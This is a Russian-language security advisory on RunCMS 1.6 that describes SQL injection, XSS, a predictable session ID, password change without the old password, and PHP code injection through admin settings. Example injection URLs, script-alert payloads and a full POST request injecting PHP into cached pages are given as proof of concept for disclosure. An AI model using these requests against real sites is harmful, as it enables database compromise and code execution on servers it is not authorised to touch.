Программа: RunCMS 1.6

Найденные уязвимости позволяют удаленному злоумышленнику осуществить XSS
атаку и выполнить произвольный SQL код в базе данных приложения, обойти
ограничения безопасности и выполнить произвольный код на
целевой системе.

1) Уязвимость существует из-за недостаточной обработки входных данных в
сценариях brokenfile.php, visit.php, ratefile.php, ratelink.php, modlink.php и
brokenlink.php. Удаленный пользователь может с помощью специально
сформированного запроса выполнить произвольные SQL команды в базе данных
приложения.

Пример:

http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_INJECTION
http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG_INJECTION

GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=1
HTTP/1.0
GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+and+1=0
HTTP/1.0

2) Уязвимость существует из-за недостаточной обработки входных данных сценариями
modules/news/submit.php, index.php и edituser.php. Атакующий может выполнить
произвольный сценарий в браузере жертвы в контексте безопасности уязвимого
сайта.

Пример:

POST http://[server]/[installdir]/modules/news/submit.php HTTP/1.0
subject=<script>alert("DSecRG_XSS")</script>

http://[server]/[installdir]/modules/news/index.php/"><script>alert('DSecRG_XSS')</script>

http://www.dsec.ru/about/articles/web_xss/

3) Уязвимость возникает из-за того, что приложение генерирует предсказуемый
идентификатор сессии. Атакующий может подобрать необходимый ID сессии.

4) Уязвимость возникает из-за того, что при установке нового пароля не требуется
ввести старый пароль.

5) Уязвимость возникает из-за ошибки, позволяющей вставить произвольный PHP код
и выполнить произвольные команды OS с привилегиями Web сервера.

Примеры:

страница: /modules/system/admin.php?fct=meta-generator
parameter name="header"
parameter name="footer"

страница: /modules/system/admin.php?fct=disclaimer
parameter name="disclaimer"

страница: /modules/mydownloads/admin/index.php?op=mydownloadsConfigAdmin
parameter name='disclaimer'

страница: /modules/newbb_plus/admin/forum_config.php
parameter name="disclaimer"

страница: /modules/mylinks/admin/index.php?op=myLinksConfigAdmin
parameter name="disclaimer"

страница: /modules/sections/admin/index.php?op=secconfig
parameter name='intro'

Например:

POST /modules/system/admin.php?fct=disclaimer HTTP/1.0
Host=localhost
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914
Firefox/2.0.0.7
Keep-Alive=300
Proxy-Connection=keep-alive
Content-Type=application/x-www-form-urlencoded
Content-Length=226
POSTDATA=perpage=10&popular=100&newlinks=10&useshots=0&shotwidth=140& anon_add=0&rss_enable=1&rss_maxitems=5& rss_maxdescription=200&
disclaimer=<?phpinfo();?>&op=myLinksConfigChange

Эти страницы могут быть перезаписаны с помощью инжектирования PHP:

runcms_1.6\modules\sections\cache\intro.php
runcms_1.6\modules\mylinks\cache\disclaimer.php
runcms_1.6\modules\mydownloads\cache\disclaimer.php
runcms_1.6\modules\newbb_plus\cache\disclaimer.php
runcms_1.6\modules\system\cache\disclaimer.php
runcms_1.6\modules\system\cache\footer.php
runcms_1.6\modules\system\cache\header.php
runcms_1.6\modules\system\cache\maintenance.php

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии